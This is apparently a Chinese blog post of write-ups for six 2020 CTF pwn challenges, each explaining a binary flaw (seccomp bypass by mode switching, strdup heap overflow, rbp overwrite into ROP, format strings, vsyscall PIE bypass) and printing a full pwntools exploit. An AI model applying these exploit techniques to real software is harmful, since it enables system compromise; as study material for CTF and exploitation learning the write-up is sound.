0x00 前言 2020年在家摸鱼的暑假生活快结束了,终于要开学了,好长时间不更博客了,一直攒着一起发,再加上现在的题目网上详细解析越来越少,只能自己慢慢啃,我又啃得比较慢
在这我会记录并复现一些比赛时的题目,权当一个月来的学习成果,还可以搞一个每月系列(不错不错)
0x01 2020天翼杯 SafeBox 先看题目描述:Try to get the secret from SafeBox! Flag is at /home/pwn/flag
checksec,保护全开
mmap给dest赋予了7的权限,最后函数指针执行了dest。典型的shellcode。prtcl和seccomp开了沙盒。
能调用的函数只有open和read,不能使用write,只能利用read函数读取flag,然后跟本地的flag一个字节一个字节去比较。
还有当read的fd<4时,会直接跳到0013KILL掉,就是说fd要大于等于4。所以写shellcode时open两次,第一次文件标识符是3,第二次文件标识符是4。
爆破的方法就是把单个字节的flag(rsp+index)放进al寄存器,用ascii码0x20-0x7f之间的字符(content)一个个去比较,若cmp比较结果一致则改变ZF标志寄存器,然后用jz跳转x标签处,进行死循环。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *import oscontext.arch = 'amd64' elf = ELF('chall' ) p = 0 def pwn (index,content ): global p p = process('./chall' ) shellcode= shellcraft.open ("flag" ) shellcode+= shellcraft.open ("flag" ) shellcode+=''' #read(4,rsp,0x64) xor rax, rax push 0x64 pop rdx mov rsi, rsp push 4 pop rdi syscall x: mov rsi,rsp #由于我们往栈顶输入数据,因此此时的栈顶存放是flag的内容,将rsp的内容赋值给rsi mov al,[rsi+''' +str (index)+'''] #[rsi+index],取出[rsi+index]的内容,即将flag一个字节一个字节取出,存放在al寄存器里,方便后面爆破flag cmp al,''' +str (content)+''' #比较字符,与存放在al寄存器中的单个字节flag是否一致 jz x #若一致则直接进入死循环,需要ctrl+d退出,若不一致则直接返回 ''' p.sendafter("safe-execution box?\n" ,asm(shellcode)) p.recv(timeout = 1 ) p.interactive() p.close() return 1 if __name__ == '__main__' : flag="" index=0 while (1 ): if '}' in flag: break for i in range (0x20 ,0x7f ): try : print "flag=" ,flag if pwn(index,i) : flag+=chr (i) index+=1 break except EOFError: print "error" print flag
环境已经关了,体验很不好
现在需要爆破的题越来越多,可能pwn的精髓就在于爆破吧
0x02 SCTF Coolcode 本题考验(极强的)shellcode编写能力
拿到题目
看起来很像堆题,但是NX没开,估计可以利用shellcode,
漏洞真的难找….在创建堆块时,对数组下标错误的使用了有符号数,导致如果我们输入负数 也可以满足v1 <= 1
这样的检测,而在数组上方保存了例如stdin\stdout\stderr、got表等这样的可利用信息。 而且这个程序并没有开启FULL RELRO所以got表可写,这样其实我们可以直接劫持got表。
沙箱绕过 :
程序限制了我们能用的系统调用,而并没有open函数,所以不能利用orw
但是查询系统调用号表,发现fstat这个函数对应的系统调用号5,其实就是32位程序中open的系统调用号,而汇编中存在一条指令retfq可以供我们切换到32位指令模式,其原理是一个cs寄存器,cs=0x23时表示32位模式,cs=0x33时表示64位模式,
我们只需要在进行retfq时保证此时rsp=shellcode地址,[rsp+8] = 0x23/0x33,就可以在我们想要的模式下执行shellcode。
堆和bss段可执行,所以可以将shellcode写入bss段执行。 但是还有一点在于,程序限制输入字符只能是数字和大写字母,这样输入shellcode肯定是行不通的
1 2 3 4 5 6 7 8 9 10 11 signed __int64 __fastcall sub_400B16 (__int64 a1, int a2) { int i; for ( i = 0 ; i < a2 - 1 ; ++i ) { if ( (*(_BYTE *)(i + a1) <= 47 || *(_BYTE *)(i + a1) > 57 ) && (*(_BYTE *)(i + a1) <= 64 || *(_BYTE *)(i + a1) > 90 ) ) return 1LL ; } return 0LL ; }
所以,还要先将exit()函数的got表改为ret,以跳过输入字符的检验。
这道题我们的思路就很清晰:因为程序还限定了读取字节长度,为了方便一次性执行shellcode,我们先写入read将后面shellcode写入到bss段并执行。shellcode的内容:首先切换32位模式执行open()然后切换回64位执行read()、write()即可读取到flag
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context.log_level = 'debug' p = remote("39.107.119.192 " , 9999 ) def add (idx, content ): p.sendlineafter("choice :" , '1' ) p.sendlineafter("Index: " , str (idx)) p.sendafter("messages: " , content) def show (idx ): p.sendlineafter("choice :" , '2' ) p.sendlineafter("Index: " , str (idx)) def free (idx ): p.sendlineafter("choice :" , '3' ) p.sendlineafter("Index: " , str (idx)) def exp (): read = ''' xor eax, eax mov edi, eax push 0x60 pop rdx mov esi, 0x1010101 xor esi, 0x1612601 syscall mov esp, esi retfq ''' open_x86 = ''' mov esp, 0x602770 push 0x67616c66 push esp pop ebx xor ecx,ecx mov eax,5 int 0x80 ''' readflag = ''' push 0x33 push 0x60272e retfq mov rdi,0x3 mov rsi,rsp mov rdx,0x60 xor rax,rax syscall mov rdi,1 mov rax,1 syscall ''' readflag = asm(readflag, arch = 'amd64' ) openflag = asm(open_x86) add(-22 , '\xc3' ) add(-37 , asm(read, arch = 'amd64' )) free(0 ) payload = p64(0x602710 )+p64(0x23 )+openflag+readflag p.sendline(payload) p.interactive() if __name__ == '__main__' : exp()
本题需要高超的shellcode能力,/(ㄒoㄒ)/光看就够我理解半天了 比赛时有31解,还是很有难度的
Reference:
syscall table
shellcode 的艺术
0x03 2020 CISCN nofree 国赛除了easyjsc,算是pwn1了,题目是这样的,功能一个添加一个编辑
这就是本题难点,没有free,无法利用bins;没有show,无法泄露数据
先看add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int add () { int result; int idx; int size; result = put_in_idx(); idx = result; if ( result != -1 ) { printf ("size: " ); result = input_0(); size = result; if ( result >= 0 && result <= 144 ) { *(_QWORD *)&byte_6020C0[16 * idx + 256 ] = content(result); result = size; *(_QWORD *)&byte_6020C0[16 * idx + 264 ] = size; } } return result; }
可以看到content函数,里面并没有使用malloc(),而是使用了strdup(),也就是说malloc的堆块大小并不由你输入的size大小决定,而是你content内字符串的实际大小,而edit函数内容修改按照的是你输入的size,这就造成了堆溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 signed __int64 edit () { signed __int64 result; int idx; result = put_in_idx(); idx = result; if ( (_DWORD)result != -1 ) { result = *(_QWORD *)&byte_6020C0[16 * (signed int )result + 256 ]; if ( result ) { printf ("content: " ); result = input(*(void **)&byte_6020C0[16 * idx + 256 ], *(_QWORD *)&byte_6020C0[16 * idx + 264 ]); } } return result;
add功能:最多3个块,大小在0~0x90之间,用的strdup函数
edit功能:能编辑相应堆块,大小为add时写入的size
简单来说,add时填0x20的大小,只填充0x10的字符串,edit的时候就存在溢出漏洞
所以整体思路是先用house of orange,把top chunk扔到fastbin,然后利用堆溢出改fd指向bss上chunk array的地方,通过修改堆指针,来将strdup的got表改为printf,然后利用格式化字符串漏洞泄露出libc基址,最后同样的方法将strdup改为system函数,触发漏洞即可
为了方便我在exp作了注释,就不再过多赘述 前面做的工作就是为了接近这三个指针,用来修改strdup的got表
在格式化字符串找偏移时不太顺利,主要还是动调的问题,因为函数比较多,要对照IDA的代码看,多用s步入,才能调出来,还要注意64位的六个寄存器传参的问题。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *debug = 1 elf = ELF('nofree' ) if debug: sh = process('./nofree' ) libc = elf.libc else : sh = remote('101.200.53.148' , 12301 ) libc = ELF('libc-2.27-64.so' ) def add (idx,size,data ): sh.sendlineafter('choice>> ' ,str (1 )) sh.recvuntil('idx: ' ) sh.sendline(str (idx)) sh.recvuntil('size: ' ) sh.sendline(str (size)) sh.recvuntil('content: ' ) sh.send(str (data)) def edit (idx,data ): sh.sendlineafter('choice>> ' ,str (2 )) sh.recvuntil('idx: ' ) sh.sendline(str (idx)) sh.recvuntil('content: ' ) sh.send(str (data)) for i in range (24 ): add(0 ,0x90 ,'a' *0x90 ) add(0 ,0x90 ,'a' ) edit(0 ,'\x00' *0x18 +p64(0xe1 )) add(0 ,0x90 ,'a' *0x30 ) add(1 ,0x90 ,'a' *0x88 +p64(0x81 )) edit(0 ,'b' *0x30 +p64(0 )+p64(0x81 )+p64(0x602140 )) add(0 ,0x90 ,'a' *0x70 ) add(2 ,0x90 ,'c' *0x70 +p64(0 )*3 +p64(0x81 )) edit(2 ,'c' *0x70 +p64(0x602068 )+p64(0x90 )) edit(0 ,p64(0x400700 )) add(0 ,0x10 ,'%17$p' ) libc_base = int (sh.recv(14 ),16 ) - libc.sym['__libc_start_main' ] - 240 print hex (libc_base)edit(2 ,'c' *0x70 +p64(elf.got['strdup' ])+p64(0x90 )) edit(0 ,p64(libc_base+libc.symbols['system' ])) add(0 ,0x10 ,'/bin/sh\x00' ) sh.interactive()
onegaget应该也可以没试过,太晚了歇了歇了…
Reference:
house of orange
堆溢出-House of orange 学习笔记
0x04 2020强网杯 babymessage 说到这题,比赛一百多解,但始终卡在一个点,题目除了NX外,无其他保护
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 __int64 work () { signed int v1; buf = (char *)malloc (0x100 uLL); v1 = mm + 16 ; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts ("choice: " ); __isoc99_scanf((__int64)"%d" , (__int64)&mm) if ( mm != 1 ) break ; leave_name(); } if ( mm != 2 ) break ; if ( v1 > 256 ) v1 = 256 ; leave_message(v1); } if ( mm != 3 ) break ; show(v1); } if ( mm == 4 ) break ; puts ("invalid choice" ); } return 0LL ; }
一个姓名,信息和打印功能的程序,类似堆题但没有堆的可利用点 简单看一下option,buf,name在内存的分布
找啊找,程序似乎写的很好,没什么利用 但是依旧存在一个小bug
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall leave_message (unsigned int a1) { int v1; __int64 v3; puts ("message: " ); v1 = read(0 , &v3, a1); strncpy (buf, (const char *)&v3, v1); buf[v1] = 0 ; puts ("done!\n" ); return 0LL ; }
进入leave_message函数,发现v3在rbp-8h的位置,可读入初始长度为16,存在栈溢出; 但溢出距离太短,只够覆盖rbp,以至于栈迁移都不够。 可是想一想,a1是可读入长度,若想增加长度必然要改option,而option在内存中的位置很安全,没有函数可以修改到它,且函数限定了option只能为1,2,3,4,并不能改到很大的值,因此这条路是走不通的显然这题只能覆盖rbp,但是把改到哪是一个问题,比赛时我就被卡到这个死胡同了,实在想不通便去做Siri了 那本题的关键在哪呢?在这
1 2 3 if ( v1 > 256 ) v1 = 256; leave_message(v1);
程序在执行leave_message之前,先判断了一次v1的大小(mm+16),如果大于256,则把它赋值为256 如果程序有了判断条件,那么一定存在与v1相关的指令,虽然我很不想,但是必须采取终极解决方案了——看汇编
所以覆盖rbp,使得rbp-4的值我们可控即可,这就是本题最核心的点。 改到哪呢,name我们可写,将rbp改到它高4个字节处,使得name>256,接下面就是简单的ROP了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context.log_level = 'debug' elf = ELF('./babymessage' ) p = elf.process() libc = ELF('./libc-2.27.so' ) work_addr = elf.symbols['main' ] puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] rdi_ret = 0x400ac3 payload = 'A' *0x8 + p64(0x6010D4 ) p.sendlineafter('choice:' ,'1' ) p.sendafter('name:' ,p32(0xf000050 )) p.sendlineafter('choice:' ,'2' ) p.sendafter('message:' ,payload) p.sendlineafter('choice:' ,'2' ) payload_2 = 'A' *0x8 payload_2 += p64(0x6010D4 ) payload_2 += p64(rdi_ret) payload_2 += p64(puts_got) payload_2 += p64(puts_plt) payload_2 += p64(work_addr) p.sendlineafter('message:' ,payload_2) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc_base = puts_addr- libc.sym['puts' ] log.info('libc_base:' +hex (libc_base)) system_addr = libc_base + libc.sym['system' ] binsh_addr = libc_base + libc.search('/bin/sh' ).next () p.sendlineafter('choice:' ,'1' ) p.sendafter('name:' ,p32(0xf000050 )) p.sendlineafter('choice:' ,'2' ) p.sendafter('message:' ,payload) p.sendlineafter('choice:' ,'2' ) payload = 'A' * 0x10 payload += p64(libc_base+0x4f365 ) p.sendafter('message:' ,payload) p.interactive()
可惜啊可惜,感觉这题应该是可以做的
0x05 2020 强网杯 Siri 这题考点是格式化字符串漏洞,本以为难点是计算偏移,没想到比赛时我卡在了这样一个奇怪的地方,又没做出来。。原因是数太大了,无法使用fmtstr_payload写地址
先看题,打开main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char s1; char v5; unsigned __int64 v6; v6 = __readfsqword(0x28 u); memset (&s1, 0 , 0x100 uLL); v5 = 0 ; sub_11C5(); printf (">>> " , a2); while ( read(0 , &s1, 0x100 uLL) ) { if ( !strncmp (&s1, "Hey Siri!" , 9uLL ) ) { puts (">>> What Can I do for you?" ); printf (">>> " , "Hey Siri!" ); read(0 , &s1, 0x100 uLL); if ( !(unsigned int )sub_1326(&s1) && !(unsigned int )sub_12E4(&s1) && !(unsigned int )sub_1212(&s1) ) puts (">>> Sorry, I can't understand." ); } memset (&s1, 0 , 0x100 uLL); printf (">>> " , 0LL ); } return 0LL ; }
本题保护全开,关键函数在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 signed __int64 __fastcall sub_1212 (const char *a1) { char *v2; char s; unsigned __int64 v4; v4 = __readfsqword(0x28 u); v2 = strstr (a1, "Remind me to " ); if ( !v2 ) return 0LL ; memset (&s, 0 , 0x110 uLL); sprintf (&s, ">>> OK, I'll remind you to %s" , v2 + 13 ); printf (&s); puts (&::s); return 1LL ; }
它是将Remind me to
后的字符放在s[rbp-120h]处,然后一个格式化字符串漏洞,只有这一个利用点
我的思路是泄露libc_start函数和栈的地址,从而泄露出libc基址,然后将返回地址改为one_gadget
exp 这是我比赛时的exp,由于pwntools的fmt_payload没法用,我又在github上找了一个脚本FmtPayload 但是还是失败了,我感觉思路应该没问题。。费解, 网上到现在还没有出强网杯pwn部分的wp,就先放着,等之后出了wp再回头解决
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *import FmtPayloadelf = ELF('./Siri' ) sh = process('./Siri' ) context.log_level = 'debug' libc = ELF('libc.so.6' ) payload = 'Remind me to %46$pAAAA%83$p' sh.recvuntil('>>>' ) sh.sendline('Hey Siri!' ) sh.recvuntil('you?' ) sh.sendline(payload) print payloadsh.recvuntil("to " ) stack = int (sh.recv(14 ).split('\n' )[0 ],16 ) print 'stack:' + hex (stack)sh.recvuntil('AAAA' ) libc_start240 = int (sh.recv(16 ).split('\n' )[0 ],16 ) print 'libc_start240:' + hex (libc_start240)libc_base = libc_start240 - 240 -libc.sym['__libc_start_main' ] print 'libc_base:' + hex (libc_base)one_gadget = libc_base + 0x10a45c tar = stack - 0x118 print hex (tar)sh.recvuntil('>>>' ) sh.sendline('Hey Siri!' ) sh.recvuntil('you?' ) payload2 = FmtPayload.fmt_payload(10 ,tar,one_gadget,n=3 ,written=30 ,arch='amd64' ,typex='byte' ) sh.sendline('Remind me to ' +payload2) sh.interactive()
后续:题目已解出,exp搞丢了,就不重写了,不放了
0x06 DASCTF 八月赛 magic_number 一道100分的题没整出来,吐了
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char buf; int v5; sub_9A0(); v5 = rand(); if ( v5 == 0x12345678 ) system("/bin/sh" ); puts ("Your Input :" ); read(0 , &buf, 0x100 uLL); return 0LL ; }
就这几行代码,而且还有后门,汇编更简单就不贴了 但是难点在于除了canary以外,保护全开,这就意味着shellcode不能用,got表不可修改,最要命的是地址随机化。
如果v5==0x12345678,那么执行system,但是随机数是在read之前赋给v5的,且函数只执行一次,实在想不出办法。
终于大佬赛后发了exp,我才学到了一个新的技巧来绕过PIE——利用vsyscall
在多次运行程序时你会发现,当所有地址都在随机变化时,最下面有个vsyscall段的地址一直稳定在0xffffffffff600000-0xffffffffff601000
,那它到底是什么呢?
对于某些系统调用,如gettimeofday来说,由于他们经常被调用,但是系统调用是用户态到内核态到用户态的一个过程,开销很大,如果每次被调用都要这么来回折腾一遍,就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall.
动态调试,发现system(‘/bin/sh’)的地址在这里
而在这里,你会发现一个很接近的地址,只是最低字节不相同,因此可以通过vsyscall滑动绕过,覆盖这里地址,以劫持到ip。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context.log_level = 'debug' p=process('magic_number' ) elf=ELF('magic_number' ) sleep(5 ) payload = 'B' *0x38 +p64(0xFFFFFFFFFF600400 )*4 +'\xA8' p.send(payload) p.interactive()
计算机什么边角都能利用啊,学习了学习了
Reference:
pwn中vsyscall的利用
x86 架构下 Linux 的系统调用与 vsyscall, vDSO
0x07 小结 总结一下,我好菜
这都是我比赛没想出来的题目,做出来的题目也都比较水,各位师傅都有wp,我就不写了